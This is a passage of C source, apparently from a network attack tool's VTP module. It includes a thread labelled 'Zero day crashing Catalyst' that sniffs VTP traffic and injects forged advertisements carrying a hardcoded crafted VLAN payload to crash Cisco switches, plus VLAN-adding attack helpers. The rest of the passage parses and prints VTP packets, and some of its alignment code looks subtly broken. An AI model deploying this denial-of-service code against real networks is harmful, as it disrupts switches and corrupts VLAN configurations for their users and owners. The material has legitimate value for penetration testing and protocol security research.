937 pthread_detach(pthread_self());
938
939 sigfillset(&mask);
940
941 if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
942 {
943 thread_error("vtp_th_dos_del pthread_sigmask()",errno);
944 vtp_th_dos_add_exit(attacks);
945 }
946
947 vtp_modify_vlan(VTP_VLAN_ADD,attacks);
948
949 vtp_th_dos_add_exit(attacks);
950 }
951
952
vtp_th_dos_add_exit(struct attacks * attacks)953 void vtp_th_dos_add_exit( struct attacks *attacks )
954 {
955 attack_th_exit(attacks);
956
957 pthread_mutex_unlock(&attacks->attack_th.finished);
958
959 pthread_exit(NULL);
960 }
961
962 /*
963 * Zero day crashing Catalyst!!
964 */
vtp_th_dos_crash(void * arg)965 void vtp_th_dos_crash( void *arg )
966 {
967 struct attacks *attacks = (struct attacks *)arg;
968 struct vtp_data *vtp_data, vtp_data_learned;
969 struct pcap_pkthdr header;
970 struct pcap_data pcap_aux;
971 struct libnet_802_3_hdr *ether;
972 struct timeval now;
973 u_int8_t *packet=NULL;
974 sigset_t mask;
975 /* Cisco vlans for crashing */
976 u_int8_t vlan_cisco[]={ 0x75, 0x00, 0x01, 0x07, 0x20, 0x00, 0x02, 0x0c,
977 0x03, 0xea, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8a,
978 0x66, 0x64, 0x64, 0x69, 0x2d, 0x64, 0x65, 0x66,
979 0x61, 0x75, 0x6c, 0x74, 0x01, 0x01, 0x00, 0x00,
980 0x04, 0x01, 0x00, 0x00, 0x28, 0x00, 0x03, 0x12,
981 0x03, 0xeb, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8b,
982 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2d, 0x72, 0x69,
983 0x6e, 0x67, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75,
984 0x6c, 0x74, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00,
985 0x04, 0x01, 0x00, 0x00, 0x24, 0x00, 0x04, 0x0f,
986 0x03, 0xec, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8c,
987 0x66, 0x64, 0x64, 0x69, 0x6e, 0x65, 0x74, 0x2d,
988 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00,
989 0x02, 0x01, 0x00, 0x00, 0x03, 0x01, 0x00, 0x01,
990 0x24, 0x00, 0x05, 0x0d, 0x03, 0xed, 0x05, 0xdc,
991 0x00, 0x01, 0x8a, 0x8d, 0x74, 0x72, 0x6e, 0x65,
992 0x74, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c,
993 0x74, 0x00, 0x00, 0x00, 0x02, 0x01, 0x00, 0x00,
994 0x03, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
995 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
996 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
997 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
998 0x00, 0x00, 0x00, 0x00, 0xf1, 0x00, 0x00, 0x00,
999 0x00, 0x00, 0x0c, 0x20 };
1000
1001 sigfillset(&mask);
1002
1003 if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
1004 {
1005 thread_error("vtp_th_dos_del_all pthread_sigmask()",errno);
1006 vtp_th_dos_crash_exit(attacks);
1007 }
1008
1009 vtp_data = attacks->data;
1010
1011 gettimeofday(&now, NULL);
1012
1013 header.ts.tv_sec = now.tv_sec;
1014 header.ts.tv_usec = now.tv_usec;
1015
1016 if ((packet = calloc(1, SNAPLEN)) == NULL)
1017 vtp_th_dos_crash_exit(attacks);
1018
1019
1020 while (!attacks->attack_th.stop)
1021 {
1022 memset((void *)&vtp_data_learned,0,sizeof(struct vtp_data));
1023 interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_VTP, NO_TIMEOUT);
1024
1025 if (attacks->attack_th.stop)
1026 break;
1027
1028 ether = (struct libnet_802_3_hdr *) packet;
1029
1030 if (!memcmp(vtp_data->mac_source,ether->_802_3_shost,6) )
1031 continue; /* Oops!! Its our packet... */
1032
1033 pcap_aux.header = &header;
1034 pcap_aux.packet = packet;
1035
1036 if (vtp_load_values(&pcap_aux, &vtp_data_learned) < 0)
1037 continue;
1038
1039 if ((vtp_data_learned.code != VTP_SUMM_ADVERT)
1040 && (vtp_data_learned.code != VTP_SUBSET_ADVERT) )
1041 continue;
1042
1043 if (vtp_generate_md5( NULL,
1044 vtp_data->updater,
1045 (vtp_data_learned.revision+1),
1046 vtp_data_learned.domain,
1047 vtp_data_learned.dom_len,
1048 vlan_cisco,
1049 sizeof(vlan_cisco),
1050 vtp_data->md5,
1051 vtp_data_learned.version) < 0)
1052 break;
1053
1054 vtp_data->code = VTP_SUMM_ADVERT;
1055 vtp_data->followers = 1;
1056 if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE)
1057 {
1058 vtp_data->dom_len = VTP_DOMAIN_SIZE;
1059 memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE);
1060 }
1061 else
1062 {
1063 vtp_data->dom_len = vtp_data_learned.dom_len;
1064 memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len);
1065 }
1066 vtp_data->revision = vtp_data_learned.revision+1;
1067
1068 usleep(200000);
1069 if (vtp_send(attacks)< 0)
1070 break;
1071 usleep(200000);
1072
1073 vtp_data->code = VTP_SUBSET_ADVERT;
1074 vtp_data->seq = 1;
1075
1076 vtp_data->vlan_info = vlan_cisco;
1077 vtp_data->vlans_len = sizeof(vlan_cisco);
1078 vtp_send(attacks);
1079
1080 break;
1081 }
1082
1083 free(packet);
1084
1085 vtp_th_dos_crash_exit(attacks);
1086 }
1087
1088
1089 void
vtp_th_dos_crash_exit(struct attacks * attacks)1090 vtp_th_dos_crash_exit(struct attacks *attacks)
1091 {
1092 attack_th_exit(attacks);
1093
1094 pthread_mutex_unlock(&attacks->attack_th.finished);
1095
1096 pthread_exit(NULL);
1097 }
1098
1099
1100 int8_t
vtp_init_attribs(struct term_node * node)1101 vtp_init_attribs(struct term_node *node)
1102 {
1103 struct vtp_data *vtp_data;
1104
1105 vtp_data = node->protocol[PROTO_VTP].tmp_data;
1106
1107 attack_gen_mac(vtp_data->mac_source);
1108
1109 vtp_data->mac_source[0] &= 0x0E;
1110
1111 parser_vrfy_mac("01:00:0c:cc:cc:cc",vtp_data->mac_dest);
1112
1113 vtp_data->version = VTP_DFL_VERSION;
1114
1115 memcpy(vtp_data->domain, VTP_DFL_DOMAIN,sizeof(VTP_DFL_DOMAIN));
1116
1117 vtp_data->dom_len = VTP_DFL_DOM_LEN;
1118
1119 vtp_data->code = VTP_DFL_CODE;
1120
1121 vtp_data->start_val = 1;
1122
1123 vtp_data->revision = 1;
1124
1125 vtp_data->followers = 1;
1126
1127 vtp_data->seq = 1;
1128
1129 vtp_data->updater = ntohl(inet_addr("10.13.58.1"));
1130
1131 return 0;
1132 }
1133
1134
vtp_learn_packet(struct attacks * attacks,char * iface,u_int8_t * stop,void * data,struct pcap_pkthdr * header)1135 int8_t vtp_learn_packet(struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header)
1136 {
1137 struct vtp_data *vtp_data = (struct vtp_data *)data;
1138 struct interface_data *iface_data;
1139 struct pcap_data pcap_aux;
1140 u_int8_t *packet, got_vtp_packet = 0;
1141 int8_t ret = -1 ;
1142 dlist_t *p;
1143
1144 if (iface)
1145 {
1146 p = dlist_search( attacks->used_ints->list, attacks->used_ints->cmp, iface );
1147 if ( !p )
1148 return -1;
1149
1150 iface_data = (struct interface_data *) dlist_data(p);
1151 }
1152 else
1153 iface_data = NULL;
1154
1155 packet = (u_int8_t *)calloc( 1, SNAPLEN );
1156
1157 if ( packet )
1158 {
1159 while ( !got_vtp_packet && !(*stop) )
1160 {
1161 interfaces_get_packet( attacks->used_ints, iface_data, stop, header, packet, PROTO_VTP, NO_TIMEOUT );
1162
1163 if ( ! (*stop) )
1164 {
1165 pcap_aux.header = header;
1166 pcap_aux.packet = packet;
1167
1168 if ( !vtp_load_values( (struct pcap_data *)&pcap_aux, vtp_data ) )
1169 {
1170 got_vtp_packet = 1;
1171 ret = 0 ;
1172 }
1173 }
1174 }
1175
1176 free( packet );
1177 }
1178
1179 return ret ;
1180 }
1181
1182
1183 /*
1184 * Return formated strings of each VTP field
1185 */
1186 char **
vtp_get_printable_packet(struct pcap_data * data)1187 vtp_get_printable_packet(struct pcap_data *data)
1188 {
1189 struct libnet_802_3_hdr *ether;
1190 u_int8_t *vtp_data, *ptr, *code;
1191 u_int32_t *aux_long;
1192 u_int16_t *aux_short;
1193 #ifdef LBL_ALIGN
1194 u_int32_t aux_long2;
1195 u_int8_t *aux2;
1196 #endif
1197 char **field_values;
1198
1199 if ((field_values = (char **) protocol_create_printable(protocols[PROTO_VTP].nparams, protocols[PROTO_VTP].parameters)) == NULL) {
1200 thread_error("vtp_get_rpintable calloc()",errno);
1201 return NULL;
1202 }
1203
1204 ether = (struct libnet_802_3_hdr *) data->packet;
1205 vtp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H);
1206
1207 /* Source MAC */
1208 snprintf(field_values[VTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
1209 ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2],
1210 ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]);
1211 /* Destination MAC */
1212 snprintf(field_values[VTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
1213 ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2],
1214 ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]);
1215
1216 ptr = vtp_data;
1217
1218 /* VTP Version */
1219 snprintf(field_values[VTP_VERSION], 3, "%02X", *ptr);
1220
1221 ptr++;
1222 code = ptr;
1223
1224 snprintf(field_values[VTP_CODE], 3, "%02X", *code);
1225
1226 /* VTP code */
1227 if (*code == VTP_SUMM_ADVERT)
1228 snprintf(field_values[VTP_FOLLOWERS], 4, "%03d", *(ptr+1));
1229
1230 if (*code == VTP_SUBSET_ADVERT)
1231 snprintf(field_values[VTP_SEQ], 4, "%03d", *(ptr+1));
1232
1233 ptr+=2;
1234
1235 if (*ptr < 24)/*VTP_DOMAIN_SIZE )*/
1236 {
1237 memcpy(field_values[VTP_DOMAIN], (ptr+1), *ptr);
1238 field_values[VTP_DOMAIN][*ptr]=0;
1239 }
1240 else
1241 {
1242 memcpy(field_values[VTP_DOMAIN], (ptr+1), 24);
1243 field_values[VTP_DOMAIN][24]=0;
1244 field_values[VTP_DOMAIN][23]='|';
1245 }
1246
1247 ptr+=33;
1248
1249 aux_long = (u_int32_t *)ptr;
1250
1251 switch(*code)
1252 {
1253 case VTP_SUMM_ADVERT:
1254 snprintf(field_values[VTP_REVISION], 11, "%010u", ntohl(*aux_long));
1255 aux_long++;
1256
1257 #ifdef LBL_ALIGN
1258 memcpy((void *)&aux_long2, (void *)aux_long,4);
1259 aux2 = libnet_addr2name4(aux_long2, LIBNET_DONT_RESOLVE);
1260 strncpy(field_values[VTP_UPDATER],aux2,16);
1261 #else
1262 /* Source IP */
1263 strncpy(field_values[VTP_UPDATER], libnet_addr2name4(*aux_long, LIBNET_DONT_RESOLVE),
1264 16);
1265 #endif
1266 aux_long++;
1267 memcpy(field_values[VTP_TIMESTAMP],(void *)aux_long, 12);
1268 aux_long+=3;
1269 ptr = (u_int8_t *)aux_long;
1270 snprintf(field_values[VTP_MD5], 24, "%02X%02X%02X%02X%02X%02X%02X%02X|",
1271 *ptr, *(ptr+1),*(ptr+2),*(ptr+3),*(ptr+4), *(ptr+5), *(ptr+6),*(ptr+7));/*,*(ptr+8)),*(ptr+9), *(ptr+10));
1272 *(ptr+11),*(ptr+12),*(ptr+13),*(ptr+14),*(ptr+15));*/
1273 break;
1274
1275 case VTP_SUBSET_ADVERT:
1276 snprintf(field_values[VTP_REVISION], 11, "%010u", ntohl(*aux_long));
1277 field_values[VTP_MD5][0]=0;
1278 field_values[VTP_UPDATER][0] = 0;
1279 break;
1280
1281 case VTP_JOIN:
1282 field_values[VTP_MD5][0] = 0;
1283 field_values[VTP_REVISION][0] = 0;
1284 field_values[VTP_UPDATER][0] = 0;
1285 break;
1286
1287 case VTP_REQUEST:
1288 aux_short = (u_int16_t *)aux_long;
1289 snprintf(field_values[VTP_STARTVAL], 6, "%05hd", ntohs(*aux_short));
1290 field_values[VTP_MD5][0] = 0;
1291 field_values[VTP_REVISION][0] = 0;
1292 field_values[VTP_UPDATER][0] = 0;
1293 break;
1294 }
1295
1296 return field_values;
1297 }
1298
1299
1300 char **
vtp_get_printable_store(struct term_node * node)1301 vtp_get_printable_store(struct term_node *node)
1302 {
1303 struct vtp_data *vtp_tmp;
1304 char **field_values;
1305
1306 /* smac + dmac + version + code + domain + md5 + updater + revision +
1307 * timestamp + startval + followers + null = 12
1308 */
1309
1310 if ((field_values = (char **) protocol_create_printable(protocols[PROTO_VTP].nparams, protocols[PROTO_VTP].parameters)) == NULL) {
1311 write_log(0, "Error in calloc\n");
1312 return NULL;
1313 }
1314
1315 if (node == NULL)
1316 vtp_tmp = protocols[PROTO_VTP].default_values;
1317 else
1318 vtp_tmp = (struct vtp_data *) node->protocol[PROTO_VTP].tmp_data;
1319
1320 /* Source MAC */
1321 snprintf(field_values[VTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
1322 vtp_tmp->mac_source[0], vtp_tmp->mac_source[1], vtp_tmp->mac_source[2],
1323 vtp_tmp->mac_source[3], vtp_tmp->mac_source[4], vtp_tmp->mac_source[5]);
1324
1325 /* Destination MAC */
1326 snprintf(field_values[VTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X",
1327 vtp_tmp->mac_dest[0], vtp_tmp->mac_dest[1], vtp_tmp->mac_dest[2],
1328 vtp_tmp->mac_dest[3], vtp_tmp->mac_dest[4], vtp_tmp->mac_dest[5]);
1329
1330 snprintf(field_values[VTP_VERSION], 3, "%02X", vtp_tmp->version);
1331
1332 snprintf(field_values[VTP_CODE], 3, "%02X", vtp_tmp->code);
1333
1334 memcpy(field_values[VTP_DOMAIN], vtp_tmp->domain, VTP_DOMAIN_SIZE);
1335
1336 snprintf(field_values[VTP_MD5], 33, "%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
1337 vtp_tmp->md5[0],vtp_tmp->md5[1],vtp_tmp->md5[2],
1338 vtp_tmp->md5[3],vtp_tmp->md5[4],vtp_tmp->md5[5],
1339 vtp_tmp->md5[6],vtp_tmp->md5[7],vtp_tmp->md5[8],
1340 vtp_tmp->md5[9],vtp_tmp->md5[10],vtp_tmp->md5[11],
1341 vtp_tmp->md5[12],vtp_tmp->md5[13],vtp_tmp->md5[14],
1342 vtp_tmp->md5[15]);
1343
1344 parser_get_formated_inet_address(vtp_tmp->updater, field_values[VTP_UPDATER], 16);
1345
1346 snprintf(field_values[VTP_REVISION], 11, "%010u", vtp_tmp->revision);
1347
1348 memcpy(field_values[VTP_TIMESTAMP], vtp_tmp->timestamp, 12);
1349
1350 snprintf(field_values[VTP_STARTVAL], 6, "%05hd", vtp_tmp->start_val);
1351
1352 snprintf(field_values[VTP_FOLLOWERS], 4, "%03d", vtp_tmp->followers);
1353
1354 snprintf(field_values[VTP_SEQ], 4, "%03d", vtp_tmp->seq);
1355
1356 return field_values;
1357 }
1358
1359
1360 /*
1361 * Load values from packet to data.
1362 */
1363 int8_t
vtp_load_values(struct pcap_data * data,void * values)1364 vtp_load_values(struct pcap_data *data, void *values)
1365 {
1366 struct libnet_802_3_hdr *ether;
1367 struct vtp_data *vtp;
1368 u_int8_t *vtp_data, *ptr;
1369 u_int32_t *aux_long;
1370 u_int16_t *aux_short;
1371 #ifdef LBL_ALIGN
1372 u_int32_t aux_long2;
1373 u_int16_t *aux_short2;
1374 #endif
1375 vtp = (struct vtp_data *)values;
1376 ether = (struct libnet_802_3_hdr *) data->packet;
1377 vtp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H);
1378
1379 /* Source MAC */
1380 memcpy(vtp->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN);
1381 /* Destination MAC */
1382 memcpy(vtp->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN);
1383
1384 ptr = vtp_data;
1385
1386 if ( (ptr+sizeof(struct vtp_request)) > (data->packet + data->header->caplen))
1387 return -1; /* Undersized packet...*/
1388
1389 /* VTP Version */
1390 vtp->version = *ptr;
1391 ptr++;
1392
1393 /* VTP code */
1394 vtp->code = *ptr;
1395 ptr++;
1396
1397 switch (vtp->code)
1398 {
1399 case VTP_SUMM_ADVERT:
1400 vtp->followers = *ptr;
1401 break;
1402 case VTP_SUBSET_ADVERT:
1403 vtp->seq = *ptr;
1404 break;
1405 }
1406
1407 ptr++;
1408
1409 if (*ptr < VTP_DOMAIN_SIZE )
1410 {
1411 vtp->dom_len = *ptr;
1412 memcpy(vtp->domain, (ptr+1), *ptr);
1413 vtp->domain[*ptr]=0;
1414 }
1415 else
1416 {
1417 vtp->dom_len = VTP_DOMAIN_SIZE;
1418 memcpy(vtp->domain, (ptr+1), VTP_DOMAIN_SIZE);
1419 vtp->domain[VTP_DOMAIN_SIZE]= '\0';
1420 }
1421
1422 ptr+=33;
1423 aux_long = (u_int32_t *)ptr;
1424
1425 switch(vtp->code)
1426 {
1427 case VTP_SUMM_ADVERT:
1428 #ifdef LBL_ALIGN
1429 memcpy((void *)&aux_long2, (void *)aux_long, 4);
1430 vtp->revision = ntohl(aux_long2);
1431 #else
1432 vtp->revision = ntohl(*aux_long);
1433 #endif
1434 aux_long++;
1435 #ifdef LBL_ALIGN
1436 memcpy((void *)&aux_long2, (void *)aux_long, 4);
1437 vtp->updater = ntohl(aux_long2);
1438 #else
1439 vtp->updater = ntohl(*aux_long);
1440 #endif
1441 aux_long++;
1442 memcpy(vtp->timestamp,(void *)aux_long, 12);
1443 aux_long+=3;
1444 memcpy(vtp->md5, (void *)aux_long,16);
1445 break;
1446
1447 case VTP_SUBSET_ADVERT:
1448 #ifdef LBL_ALIGN
1449 memcpy((void *)&aux_long2, (void *)aux_long, 4);
1450 vtp->revision = ntohl(aux_long2);
1451 #else
1452 vtp->revision = ntohl(*aux_long);
1453 #endif
1454 vtp->vlans_len = (data->packet + data->header->caplen) - (ptr+4);
1455 vtp->vlan_info = (ptr+4);
1456 break;
1457
1458 case VTP_REQUEST:
1459 aux_short = (u_int16_t *)ptr;
1460 #ifdef LBL_ALIGN
1461 memcpy((void *)&aux_short2, (void *)aux_short, 4);
1462 vtp->start_val = ntohs(aux_short2);
1463 #else
1464 vtp->start_val = ntohs(*aux_short);
1465 #endif
1466 break;
1467
1468 case VTP_JOIN:
1469 break;
1470 }
1471
1472 return 0;
1473 }
1474
1475
1476 int8_t
vtp_update_field(int8_t state,struct term_node * node,void * value)1477 vtp_update_field(int8_t state, struct term_node *node, void *value)
1478 {
1479 struct vtp_data *vtp_data;
1480 u_int16_t len;
1481
1482 if (node == NULL)
1483 vtp_data = protocols[PROTO_VTP].default_values;
1484 else
1485 vtp_data = node->protocol[PROTO_VTP].tmp_data;
1486
1487 switch(state)
1488 {
1489 /* Source MAC */
1490 case VTP_SMAC:
1491 memcpy((void *)vtp_data->mac_source, (void *)value, ETHER_ADDR_LEN);
1492 break;
1493
1494 /* Destination MAC */
1495 case VTP_DMAC:
1496 memcpy((void *)vtp_data->mac_dest, (void *)value, ETHER_ADDR_LEN);
1497 break;
1498
1499 /* Version */
1500 case VTP_VERSION:
1501 vtp_data->version = *(u_int8_t *)value;
1502 break;
1503
1504 /* Code */
1505 case VTP_CODE:
1506 vtp_data->code = *(u_int8_t *)value;
1507 break;
1508
1509 /* Followers */
1510 case VTP_FOLLOWERS:
1511 vtp_data->followers = *(u_int8_t *)value;
1512 break;
1513
1514 /* Seq */
1515 case VTP_SEQ:
1516 vtp_data->seq = *(u_int8_t *)value;
1517 break;
1518
1519 /* Domain */
1520 case VTP_DOMAIN:
1521 len = strlen(value);
1522 strncpy(vtp_data->domain, value, (len > VTP_DOMAIN_SIZE) ? VTP_DOMAIN_SIZE : len);
1523 vtp_data->dom_len = (len > VTP_DOMAIN_SIZE) ? VTP_DOMAIN_SIZE : len;
1524 break;
1525
1526 /* Start value */
1527 case VTP_STARTVAL:
1528 vtp_data->start_val = *(u_int16_t *)value;
1529 break;
1530
1531 /* Revision */
1532 case VTP_REVISION:
1533 vtp_data->revision = *(u_int32_t *)value;
1534 break;
1535
1536 /* Updater */
1537 case VTP_UPDATER:
1538 vtp_data->updater = *(u_int32_t *)value;
1539 break;
1540
1541 /* Timestamp */
1542 case VTP_TIMESTAMP:
1543 len = strlen(value);
1544 strncpy((char *)vtp_data->timestamp, value, (len > VTP_TIMESTAMP_SIZE) ? VTP_TIMESTAMP_SIZE : len);
1545 break;
1546
1547 /* MD5 */
1548 case VTP_MD5:
1549 memcpy((void *)vtp_data->md5, (void *)value, 16);
1550 break;
1551 }
1552
1553 return 0;
1554 }
1555
1556
1557 int8_t
vtp_end(struct term_node * node)1558 vtp_end(struct term_node *node)
1559 {
1560 return 0;
1561 }
1562